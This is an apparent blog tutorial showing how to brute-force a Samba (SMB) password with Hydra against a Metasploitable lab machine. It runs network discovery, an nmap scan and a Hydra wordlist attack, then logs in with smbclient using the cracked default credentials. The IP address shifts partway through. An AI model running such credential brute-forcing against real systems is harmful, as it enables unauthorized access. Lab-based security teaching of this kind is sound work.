Cracking SMB(samba) Password Using Hydra

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Today we are going learn how to crack the password of SMB(samba) service using Hydra Tool. 

Disclaimer: The articles provided on HackWithV is purely for informational and educational purpose only, and for those who are willing and curious to know & learn about Ethical Hacking, Security and Penetration Testing. Anytime the word "Hacking" that is used on this site shall be regarded as Ethical Hacking.

What is SMB?

  • SMB, which stands for Server Message Block, is a protocol for sharing files, printers, serial ports, and communications abstractions such as named pipes and mail slots between computers. 

What is Hydra?

  • Hydra is a parallelized login cracker which supports numerous protocols to attack.
  • New modules are easy to add, beside that, it is flexible and very fast.
  • This tool gives researchers and security consultants the possibility to show how easy it would be to gain unauthorized access from remote to a system.

Practical:

  • Attacker: Kali Linux(OS), Hydra(Tool), Wordlist.
  • Victim: Metasploitable(OS), SMB(Service).
 

 sudo netdiscover

  • Here we got the IP (192.168.0.5) of victim. Now lets scan for SMB service.
 nmap -sV -p 445 192.168.0.5

  • The nmap says that the victim is running samba service. Now its time for cracking the password of samba with the help of Hydra tool.
 hydra -help


 hydra -L users.txt -P passwords.txt 192.168.0.5 smb

  • Here,

        -L is list of usernames

        -P is list of Passwords

  • Here we go, the username is msfadmin and password is msfadmin.
  • Now try to connect to SMB with these credentials.
    smbclient -L 192.168.1.4 -p 1445 -U msfadmin

    smbclient //192.168.1.4/Home -p 1445 -U msfadmin


     

    Be Aware, Be Secure.

    Thank You 🙏


    I'm a Cyber Security professional with expertise in Network, Application, Endpoint, Cloud Security, DevOps, and IT Ops. I have experience in various industries and am well-versed in relevant regulations and standards. My goal is to provide exceptional security solutions that protect organizations from evolving threats, while also streamlining workflows and improving collaboration between development, operations, and security teams through DevOps and IT Ops practices.

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